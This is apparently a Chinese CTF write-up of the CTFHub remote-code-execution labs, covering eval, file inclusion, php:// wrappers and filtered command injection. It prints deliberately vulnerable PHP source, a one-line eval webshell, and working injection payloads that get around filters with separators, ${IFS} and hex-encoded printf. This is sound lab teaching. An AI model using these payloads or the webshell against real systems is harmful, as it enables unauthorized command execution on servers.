CTFHUB-RCE
eval执行
eval函数是执行php代码的函数,
system()函数的主要功能是在系统权限允许的情况下执行系统命令。
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
strpos(string,find,start)
参数 | 描述 |
string | 必需。规定要搜索的字符串。 |
find | 必需。规定要查找的字符串。 |
start | 可选。规定在何处开始搜索。 |
shell.txt
<?php eval($_REQUEST['ctfhub']);?>
主页源码显示get参数为file,参数中不包含flag时就会include 请求参数,
请求参数包含shell.txt后,执行post的参数;
php://input
从官网信息来看,php://input是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
不知道为什么浏览器中不行,burp中就可以。
读取源代码
使用的是php://filter伪协议
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
远程包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
远程包含成功:
命令注入-无过滤
常用管道符:
windows系列支持的管道符:
“|”:直接执行后面的语句。
“||”:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。
Linux系列支持的管道符:
“;”:执行完前面的语句再执行后面的。
“|”:显示后面的语句的执行结果。
“||”:当前面的语句执行出错时,执行后面的语句。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则执行出错,也不执行后面的,前面的语句只能为真。
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
很奇怪,用浏览器就出不来,用burp就出来了。
原来是隐藏了!
过滤cat
过滤了cat,可以用head、tac等等...
过滤空格
在bash下,可以用以下字符代替空格:
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
GET /?ip=127.0.0.1|cat<flag_320371916812169.php
命令注入-过滤目录分隔符
思路上来说应该是cat文件,必须要使用目录分隔符/,但是题目给过滤。需要另外寻找办法
linux中:%0a
、%0d
、;
、&
、|
、&&
、||
windows中:%0a
、&
、|
其中分号;
的作用就是在 shell 中,担任”连续指令”功能
&&的方式:command1 && command2
如果command1执行成功,则执行command2
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
;cd flag_is_here&&cat flag_100782653832364.php
过滤运算符
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
从源码中可以知道过滤了:& 和 || 那么使用;绕过即可!
综合练习
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
从源码中得知,过滤了| & ; / cat flag ctfhub
那么就只能找方法绕过了!
?ip=%0als
?ip=%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)#
?ip=%0Aca%27%27t${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x32\x31\x35\x37\x32\x31\x34\x38\x39\x31\x34\x33\x39\x31\x2E\x70\x68\x70%22)#